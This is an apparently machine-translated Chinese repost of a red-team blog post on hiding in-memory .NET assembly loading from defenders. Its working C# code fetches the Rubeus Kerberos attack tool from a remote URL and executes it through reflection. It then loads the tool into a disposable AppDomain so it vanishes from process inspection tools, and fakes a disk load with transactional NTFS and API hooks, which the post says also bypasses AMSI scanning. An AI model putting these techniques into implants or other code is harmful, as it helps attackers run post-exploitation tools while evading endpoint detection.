开卷有益 · 不求甚解
免责声明: 我没有想出这篇文章中描述的任何方法或技术。我只是将其他人的作品整理到一起——比如 Sharknado 和 Final Fantasy VIII 的 Gunblade等。
这篇文章的前提是更好地隐藏 .NET Framework 植入中的反射和 Assembly.Load() 技巧。让我们首先了解反射及其有用的原因。
考虑以下示例:
public static void Main(string[] args)
{
const string url = "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe"; byte[] payload;
using (var client = new WebClient())
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
payload = client.DownloadData(url);
}
var asm = Assembly.Load(payload);
asm.EntryPoint.Invoke(null, new object[] { new[] { "klist" } });
}
这是一个非常简单的应用程序,它将通过网络下载另一个 .NET 程序集,将其加载到内存中并执行它。正如您通常期望的那样,输出将打印到主应用程序的控制台。
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/ v2.0.0
Action: List Kerberos Tickets (Current User)
[*] Current LUID : 0xfd4fa
在编写针对 .NET 的攻击性工具时,这有很多优势。初始工具可以非常轻量级,并且能够获取/执行任何进一步的后开发代码。Covenant在其植入物中处理 post-ex 命令的方式大致相同。“任务”被编译成微小的 .NET 程序集,通过 C2 通道推送,使用反射加载,执行并返回结果。
那么有什么缺点呢?
Process Hacker等工具可以显示在运行 CLR 的进程中加载的 .NET 程序集。从我们上面的演示代码来看,这是加载 Rubeus 后的样子。一方面,我们可以看到程序集的名称;另一方面,没有路径表明它是从内存中加载的。
此外,这些记录会在正在运行的应用程序的整个生命周期中持续存在。加载的越多,这里的条目就越多。Covenant 使用随机名称编译它的任务——在几个命令之后,这个过程看起来像这样:
我想要实现的最重要的事情是在加载程序集后对其进行处理,这是您已经可以使用AppDomain类完成的事情。这个类有两个方法叫做CreateDomain和Unload。这将允许我们创建一个新的 AppDomain,在其中加载和执行程序集,然后处理它。
注意: 尽管 AppDomain 类存在于 .NET Core 和 .NET 5+ 中,但不支持上述这些方法,未来不打算这样做。使此技巧仅与 .NET Framework 相关。
你可能认为你可以这样做:
public static void Main(string[] args)
{
const string url = "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe"; byte[] payload;
using (var client = new WebClient())
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
payload = client.DownloadData(url);
}
var appDomain = AppDomain.CreateDomain("Demo Domain");
var asm = appDomain.Load(payload);
asm.EntryPoint.Invoke(null, new object[] { new[] { "klist" } });
AppDomain.Unload(appDomain);
}
但不,没有什么是那么简单的。即使我们使用 byte[] 重载,这也会引发FileNotFoundException。
我在这里找到了一个很好的解释,它提供了两种解决方案。一种是创建一个主应用程序和正在加载的应用程序都知道的界面——在我们的用例中显然不可行。另一种是使用CreateInstanceAndUnwrap。b33f 的 Melkor项目中也使用了这种方法。
我们所需要的只是一个继承自MarshalByRefObject的新类和一个加载和执行程序集的方法。
public class ShadowRunner : MarshalByRefObject
{
public void LoadAssembly(byte[] assembly, string[] args)
{
var asm = Assembly.Load(assembly);
asm.EntryPoint.Invoke(null, new object[] { args });
}
}
无法在此 AppDomain 之外返回程序集对象,因此执行应留在 ShadowRunner 内。然后我们将创建 AppDomain 并像这样执行程序集:
var appDomain = AppDomain.CreateDomain("Demo AppDomain");var runner = (ShadowRunner)appDomain.CreateInstanceAndUnwrap(typeof(ShadowRunner).Assembly.FullName, typeof(ShadowRunner).FullName);
runner.LoadAssembly(payload, new[] { "klist" });
AppDomain.Unload(appDomain);
如果我们调试它并在卸载 AppDomain 之前放置一个断点,我们将看到在 Process Hacker 中加载了 Rubeus。
之后,AppDomain 消失了,也没有提及 Rubeus。
即使这是在不同的 AppDomain 中加载的,它仍然没有路径,因为它是从内存加载的。显然,我们实际上并不想将程序集放到磁盘以加载它们,但是有一种方法可以让 CLR 认为它正在从磁盘加载,即使它不是。
这篇博文由 Dave Cossa aka G0ldenGunSec 撰写。它描述了如何使用事务性 NTFS 和 API 挂钩将假数据发送回**Assembly.Load(string assemblyName)**重载。
所有的魔法都在他的SharpTransactedLoad 仓库中实现。
这样做的另一个好处是 AMSI 仅在使用**Assembly.Load(byte[] assemblyBytes)**重载时扫描内容,因此这也可以作为 AMSI 绕过,而无需内存修补绕过或类似方法。
我改变的一件事是使主TransactedAssembly类非静态并让它继承IDisposable。
然后我可以这样称呼它:
using (var loader = new TransactedAssembly())
{
loader.Load(payload, new[] { "klist" });
}
这提供了一种很好的方法来创建和处理不再需要的 AppDomain 和 API Hook 等。我还用CCob 的 MinHook.NET项目替换了 EasyHook 。
现在在调试器中,我们看到 Rubeus 程序集似乎已从应用程序的当前工作目录加载。
我确实说过您不能从 ShadowRunner 返回 Assembly 对象,但您可以返回可能从程序集输出的其他数据。另一个例子:
namespace ClassLibrary1
{
public class Class1
{
public string Method1()
{
return "Hello from assembly";
}
}
}
重构 ShadowRunner 以调用指定的类型和方法,并返回一个字符串。
public string LoadAssembly(string assembly, string typeName, string methodName)
{
var asm = Assembly.Load(assembly); var type = asm.GetType(typeName);
var method = type.GetMethod(methodName);
var instance = Activator.CreateInstance(type,
BindingFlags.Instance | BindingFlags.Public,
null,
null,
null);
var result = (string) method?.Invoke(instance, null);
return result;
}
我们可以将这些数据从 TransactedAssembly 类一直带回到我们的主应用程序中并打印出来。
using (var loader = new TransactedAssembly())
{
var result = loader.Load(payload, "ClassLibrary1.Class1", "Method1");
Console.WriteLine(result);
}
PS C:\> .\MainApp.exe
Hello from assembly
对于所有进攻性的.NET
工具制造者来说--我希望这个概述能够为在你的项目中利用反射提供一种替代方法。
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布,这是一项测试
最新动态 Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams